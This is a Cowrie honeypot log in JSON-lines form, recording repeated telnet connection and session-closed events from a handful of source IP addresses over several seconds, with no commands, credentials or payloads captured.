{"eventid":"cowrie.session.closed","duration":30.871795177459717,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:38.057016Z","src_ip":"37.187.24.227","session":"3dbbf9e36b1e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":59610,"dst_ip":"159.203.135.109","dst_port":23,"session":"065256b23926","protocol":"telnet","message":"New connection: 147.135.136.77:59610 (159.203.135.109:23) [session: 065256b23926]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:38.235760Z"}
{"eventid":"cowrie.session.closed","duration":31.287424325942993,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:38.687418Z","src_ip":"147.135.136.77","session":"d655c18b68dc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.734922409057617,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:38.704534Z","src_ip":"147.135.136.77","session":"49a00ef377b9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":59618,"dst_ip":"159.203.135.109","dst_port":23,"session":"a004c08fc3df","protocol":"telnet","message":"New connection: 147.135.136.77:59618 (159.203.135.109:23) [session: a004c08fc3df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:39.028267Z"}
{"eventid":"cowrie.session.closed","duration":30.636008501052856,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:39.065624Z","src_ip":"81.30.157.18","session":"8427fd4c5b56","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.822150230407715,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:39.072937Z","src_ip":"147.135.136.77","session":"41a18a2d3fcc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.736838817596436,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:39.101944Z","src_ip":"147.135.136.77","session":"9224eabf7b2d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.813276529312134,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:39.123886Z","src_ip":"37.187.24.227","session":"0ed82f733031","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":58218,"dst_ip":"159.203.135.109","dst_port":23,"session":"62fc4978948d","protocol":"telnet","message":"New connection: 51.79.21.139:58218 (159.203.135.109:23) [session: 62fc4978948d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:39.893822Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":59634,"dst_ip":"159.203.135.109","dst_port":23,"session":"b43aea5640c6","protocol":"telnet","message":"New connection: 147.135.136.77:59634 (159.203.135.109:23) [session: b43aea5640c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:39.943423Z"}
{"eventid":"cowrie.session.closed","duration":30.983372449874878,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:40.029023Z","src_ip":"51.79.21.139","session":"482de001a066","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.77301263809204,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:40.161080Z","src_ip":"147.135.136.77","session":"22b46182cf4d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.59853458404541,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:40.234443Z","src_ip":"147.135.136.77","session":"7c81603de4d4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.906680583953857,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:40.255070Z","src_ip":"85.208.100.77","session":"5bc53b2e0b10","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":39624,"dst_ip":"159.203.135.109","dst_port":23,"session":"ac5d41ca8a44","protocol":"telnet","message":"New connection: 81.30.157.18:39624 (159.203.135.109:23) [session: ac5d41ca8a44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:40.322748Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":58226,"dst_ip":"159.203.135.109","dst_port":23,"session":"da90878e590d","protocol":"telnet","message":"New connection: 51.79.21.139:58226 (159.203.135.109:23) [session: da90878e590d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:40.408577Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":39628,"dst_ip":"159.203.135.109","dst_port":23,"session":"7bb335466adf","protocol":"telnet","message":"New connection: 81.30.157.18:39628 (159.203.135.109:23) [session: 7bb335466adf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:40.554117Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":59646,"dst_ip":"159.203.135.109","dst_port":23,"session":"744d61895710","protocol":"telnet","message":"New connection: 147.135.136.77:59646 (159.203.135.109:23) [session: 744d61895710]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:40.902916Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":58228,"dst_ip":"159.203.135.109","dst_port":23,"session":"3e5b60682122","protocol":"telnet","message":"New connection: 51.79.21.139:58228 (159.203.135.109:23) [session: 3e5b60682122]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:41.041135Z"}
{"eventid":"cowrie.session.closed","duration":30.505095958709717,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:41.061486Z","src_ip":"147.135.136.77","session":"642b4eb384eb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":59652,"dst_ip":"159.203.135.109","dst_port":23,"session":"be9dcd5fd9fa","protocol":"telnet","message":"New connection: 147.135.136.77:59652 (159.203.135.109:23) [session: be9dcd5fd9fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:41.226874Z"}
{"eventid":"cowrie.session.closed","duration":31.02559518814087,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:41.278815Z","src_ip":"147.135.136.77","session":"1eeefb6f416d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":47058,"dst_ip":"159.203.135.109","dst_port":23,"session":"29138eb7d657","protocol":"telnet","message":"New connection: 168.119.91.149:47058 (159.203.135.109:23) [session: 29138eb7d657]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:41.346386Z"}
{"eventid":"cowrie.session.closed","duration":31.191348552703857,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:41.440043Z","src_ip":"147.135.136.77","session":"36df8531940f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":59666,"dst_ip":"159.203.135.109","dst_port":23,"session":"d6b41b2e64aa","protocol":"telnet","message":"New connection: 147.135.136.77:59666 (159.203.135.109:23) [session: d6b41b2e64aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:41.507068Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":59668,"dst_ip":"159.203.135.109","dst_port":23,"session":"b6f38ca99ee6","protocol":"telnet","message":"New connection: 147.135.136.77:59668 (159.203.135.109:23) [session: b6f38ca99ee6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:41.624092Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":39640,"dst_ip":"159.203.135.109","dst_port":23,"session":"6b582ba52caf","protocol":"telnet","message":"New connection: 81.30.157.18:39640 (159.203.135.109:23) [session: 6b582ba52caf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:41.641532Z"}
{"eventid":"cowrie.session.closed","duration":31.59696102142334,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:41.710608Z","src_ip":"51.79.21.139","session":"17301e10be05","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.051470041275024,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:42.023794Z","src_ip":"51.79.21.139","session":"f2ea18a98c6e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":59676,"dst_ip":"159.203.135.109","dst_port":23,"session":"93a507097c58","protocol":"telnet","message":"New connection: 147.135.136.77:59676 (159.203.135.109:23) [session: 93a507097c58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:42.069220Z"}
{"eventid":"cowrie.session.closed","duration":30.707895040512085,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:42.095301Z","src_ip":"147.135.136.77","session":"af17e5e4cb2e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":59684,"dst_ip":"159.203.135.109","dst_port":23,"session":"8123afdbf35e","protocol":"telnet","message":"New connection: 147.135.136.77:59684 (159.203.135.109:23) [session: 8123afdbf35e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:42.112481Z"}
{"eventid":"cowrie.session.closed","duration":30.979414224624634,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:42.124933Z","src_ip":"51.79.21.139","session":"08fc7c83a36f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.302279949188232,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:42.607408Z","src_ip":"147.135.136.77","session":"a495afd92527","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.327969312667847,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:42.960293Z","src_ip":"147.135.136.77","session":"3fb3e9ef137f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.472426891326904,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:43.047351Z","src_ip":"147.135.136.77","session":"39b87c5ff424","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.006271600723267,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:43.052551Z","src_ip":"51.79.21.139","session":"9e1a9ef7d8f7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.725096225738525,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:43.094161Z","src_ip":"147.135.136.77","session":"d6ff5eebb109","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":59688,"dst_ip":"159.203.135.109","dst_port":23,"session":"8ac83e79ca6a","protocol":"telnet","message":"New connection: 147.135.136.77:59688 (159.203.135.109:23) [session: 8ac83e79ca6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:43.240396Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":47070,"dst_ip":"159.203.135.109","dst_port":23,"session":"7c832d5ba068","protocol":"telnet","message":"New connection: 168.119.91.149:47070 (159.203.135.109:23) [session: 7c832d5ba068]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:43.769128Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":47078,"dst_ip":"159.203.135.109","dst_port":23,"session":"97595e269349","protocol":"telnet","message":"New connection: 168.119.91.149:47078 (159.203.135.109:23) [session: 97595e269349]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:43.853253Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":48972,"dst_ip":"159.203.135.109","dst_port":23,"session":"abd664e89d6e","protocol":"telnet","message":"New connection: 85.208.100.77:48972 (159.203.135.109:23) [session: abd664e89d6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:43.929815Z"}
{"eventid":"cowrie.session.closed","duration":30.837878465652466,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:44.040746Z","src_ip":"147.135.136.77","session":"d91c81c6d8fc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":43738,"dst_ip":"159.203.135.109","dst_port":23,"session":"e60c30d0e0e5","protocol":"telnet","message":"New connection: 51.79.21.139:43738 (159.203.135.109:23) [session: e60c30d0e0e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:44.233964Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":59704,"dst_ip":"159.203.135.109","dst_port":23,"session":"008e2b70c174","protocol":"telnet","message":"New connection: 147.135.136.77:59704 (159.203.135.109:23) [session: 008e2b70c174]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:44.259909Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":59714,"dst_ip":"159.203.135.109","dst_port":23,"session":"3c6a39a3a2de","protocol":"telnet","message":"New connection: 147.135.136.77:59714 (159.203.135.109:23) [session: 3c6a39a3a2de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:44.273900Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":59730,"dst_ip":"159.203.135.109","dst_port":23,"session":"2f56a481fff6","protocol":"telnet","message":"New connection: 147.135.136.77:59730 (159.203.135.109:23) [session: 2f56a481fff6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:44.514892Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":43746,"dst_ip":"159.203.135.109","dst_port":23,"session":"94033cc1ba9d","protocol":"telnet","message":"New connection: 51.79.21.139:43746 (159.203.135.109:23) [session: 94033cc1ba9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:44.541700Z"}
{"eventid":"cowrie.session.closed","duration":31.326687335968018,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:44.645904Z","src_ip":"147.135.136.77","session":"e2e9236c7d90","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":43752,"dst_ip":"159.203.135.109","dst_port":23,"session":"c15f11111351","protocol":"telnet","message":"New connection: 51.79.21.139:43752 (159.203.135.109:23) [session: c15f11111351]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:44.847491Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":43762,"dst_ip":"159.203.135.109","dst_port":23,"session":"70e0b061a58e","protocol":"telnet","message":"New connection: 51.79.21.139:43762 (159.203.135.109:23) [session: 70e0b061a58e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:45.003780Z"}
{"eventid":"cowrie.session.closed","duration":30.785555124282837,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:45.038961Z","src_ip":"147.135.136.77","session":"da3b2de5aa82","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.983771562576294,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:45.068217Z","src_ip":"147.135.136.77","session":"8e42026a737b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.226136684417725,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:45.085022Z","src_ip":"147.135.136.77","session":"72d8f40ba43e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.770573377609253,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:45.104658Z","src_ip":"147.135.136.77","session":"4af73799a20e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.30899429321289,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:45.154946Z","src_ip":"147.135.136.77","session":"738ce04720a7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.870388746261597,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:45.328502Z","src_ip":"85.208.100.77","session":"13ba2eb0bb0a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":59746,"dst_ip":"159.203.135.109","dst_port":23,"session":"7f1174470767","protocol":"telnet","message":"New connection: 147.135.136.77:59746 (159.203.135.109:23) [session: 7f1174470767]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:45.352205Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":59718,"dst_ip":"159.203.135.109","dst_port":23,"session":"03a7c909ba56","protocol":"telnet","message":"New connection: 147.135.136.77:59718 (159.203.135.109:23) [session: 03a7c909ba56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:45.423255Z"}
{"eventid":"cowrie.session.closed","duration":30.568451642990112,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:45.490527Z","src_ip":"168.119.91.149","session":"74d08542d0ac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.315072536468506,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:45.693602Z","src_ip":"147.135.136.77","session":"8b8a1163b7d0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.89862084388733,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:46.112612Z","src_ip":"147.135.136.77","session":"c43fd456c581","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.92376160621643,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:46.181691Z","src_ip":"147.135.136.77","session":"2a5a8584b8ef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":46322,"dst_ip":"159.203.135.109","dst_port":23,"session":"33c16d56f911","protocol":"telnet","message":"New connection: 147.135.136.77:46322 (159.203.135.109:23) [session: 33c16d56f911]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:46.666876Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":43768,"dst_ip":"159.203.135.109","dst_port":23,"session":"dd5e53f27617","protocol":"telnet","message":"New connection: 51.79.21.139:43768 (159.203.135.109:23) [session: dd5e53f27617]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:46.793024Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":43784,"dst_ip":"159.203.135.109","dst_port":23,"session":"827187a59684","protocol":"telnet","message":"New connection: 51.79.21.139:43784 (159.203.135.109:23) [session: 827187a59684]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:47.066606Z"}
{"eventid":"cowrie.session.closed","duration":30.2775239944458,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:47.218662Z","src_ip":"37.187.24.227","session":"64cb5710bdac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":47084,"dst_ip":"159.203.135.109","dst_port":23,"session":"2a8f75cb2bd1","protocol":"telnet","message":"New connection: 168.119.91.149:47084 (159.203.135.109:23) [session: 2a8f75cb2bd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:47.352993Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":47088,"dst_ip":"159.203.135.109","dst_port":23,"session":"cf63f30925c2","protocol":"telnet","message":"New connection: 168.119.91.149:47088 (159.203.135.109:23) [session: cf63f30925c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:47.431484Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":46332,"dst_ip":"159.203.135.109","dst_port":23,"session":"fa1085a4b13a","protocol":"telnet","message":"New connection: 147.135.136.77:46332 (159.203.135.109:23) [session: fa1085a4b13a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:47.569408Z"}
{"eventid":"cowrie.session.closed","duration":30.147315740585327,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:48.040908Z","src_ip":"147.135.136.77","session":"a96f62a85308","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":43794,"dst_ip":"159.203.135.109","dst_port":23,"session":"d5c9e4a43bf5","protocol":"telnet","message":"New connection: 51.79.21.139:43794 (159.203.135.109:23) [session: d5c9e4a43bf5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:48.051697Z"}
{"eventid":"cowrie.session.closed","duration":30.703052759170532,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:48.056609Z","src_ip":"147.135.136.77","session":"044f79fa0378","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.52059555053711,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:48.065604Z","src_ip":"81.30.157.18","session":"a373eb8aeb42","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.772585153579712,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:48.070764Z","src_ip":"147.135.136.77","session":"90720e9240e9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.00379729270935,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:48.225104Z","src_ip":"147.135.136.77","session":"2a37edf38cb7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.818081378936768,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:48.513384Z","src_ip":"168.119.91.149","session":"df7cd0a28e82","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":47090,"dst_ip":"159.203.135.109","dst_port":23,"session":"efab1345e349","protocol":"telnet","message":"New connection: 168.119.91.149:47090 (159.203.135.109:23) [session: efab1345e349]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:48.918054Z"}
{"eventid":"cowrie.session.closed","duration":31.00912308692932,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:49.022488Z","src_ip":"51.79.21.139","session":"f9d8b698b9c2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.953001022338867,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:49.040347Z","src_ip":"147.135.136.77","session":"acac50a134e0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.37420630455017,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:49.062356Z","src_ip":"147.135.136.77","session":"b50afefdbc08","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.36064052581787,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:49.122490Z","src_ip":"147.135.136.77","session":"f5b7f4d42a12","protocol":"telnet"}
